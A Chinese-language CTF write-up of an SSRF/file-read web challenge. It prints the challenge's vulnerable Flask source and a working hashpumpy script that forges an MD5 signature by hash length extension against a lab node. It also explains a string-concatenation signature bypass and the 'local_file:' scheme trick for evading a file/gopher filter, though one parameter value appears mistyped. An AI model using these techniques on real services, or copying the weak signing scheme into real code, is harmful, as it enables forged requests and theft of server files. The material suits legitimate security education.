0x01 贴出源码
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
0x02 题目分析
一打开题目就可以看到源码,这是一个flask
框架搭建的web
服务。
题目中最主要的函数就是Exec
,意思是传入一个文件名param
,可以返回文件内容。
大概思路就是在 /De1ta
中, param
为读取的文件名,用cookie
中 action
和 sign
去读取 flag.txt
,其中,param=flag.txt
,action
中要含有 read
和 scan
,
且 sign=md5(secert_key + param + action)
0x03 解题
一、哈希拓展攻击
我们访问/geneSign
并传入param=flag.txt
,返回secert_key + flag.txt + scan
的md5
值,
而我们需要得到hashlib.md5(secert_key + param + action)
得值,其中我们传入得action
必须有scan
和read
,所以我们可以使用哈希长度拓展攻击
import hashpumpy
import requests
import urllib.parse
param = 'flag.txt'
req = requests.get('http://51887fdd-b95d-4e84-8328-035c22aec325.node3.buuoj.cn/geneSign', params={'param': param})
sign = req.text #返回secert_key + flag.txt + scan得md5值
hash_sign = hashpumpy.hashpump(sign, param + 'scan', 'read', 16) #返回secert_key + param + action得md5值
#sign是我们已知得sign, param+'scan'是flag.txtscan,read是我们在flag.txtscan后面加的字符串,16代表两个sign的公共部分secert_key,源码中提到了长度为16
req = requests.get('http://51887fdd-b95d-4e84-8328-035c22aec325.node3.buuoj.cn/De1ta', params={'param': param}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(param):])
})
print(req.text)
我这儿用的hashpumpy,windows安装hashpumpy需要一定的环境配置,比较麻烦,可以选择在linux中操作
###### 二、字符串拼接
由于我们最终需要的是hashlib.md5(secert_key + flag.txt + readscan)
。
当我们访问/geneSign
时,action
默认为scan
,而当我们通过Exec
访问checkSign
时,即访问getSign函数
时,action
为我们的cookies
中的action
值。
假如我们访问/geneSign
,传入param=flag.txtread
,最终生成的时md5('flag.txtread'+'scan')
, 即我们最终需要的值。
我们访问Exec
时只需要传入param=flag.txt
,cookies
中action=readaction
,最终生成为md5('flag.txt'+'readscan')
,两者相等。
三、local_file
file
: 支持 ///
/
../
不支持./
local_file
: Python 2.x
到2.7.16
中的urllib
支持该local_file:
方案
使用urllib2.urlopen(param)
去包含文件就必须加上 file
在Python3
中
from urllib import request
request.urlopen()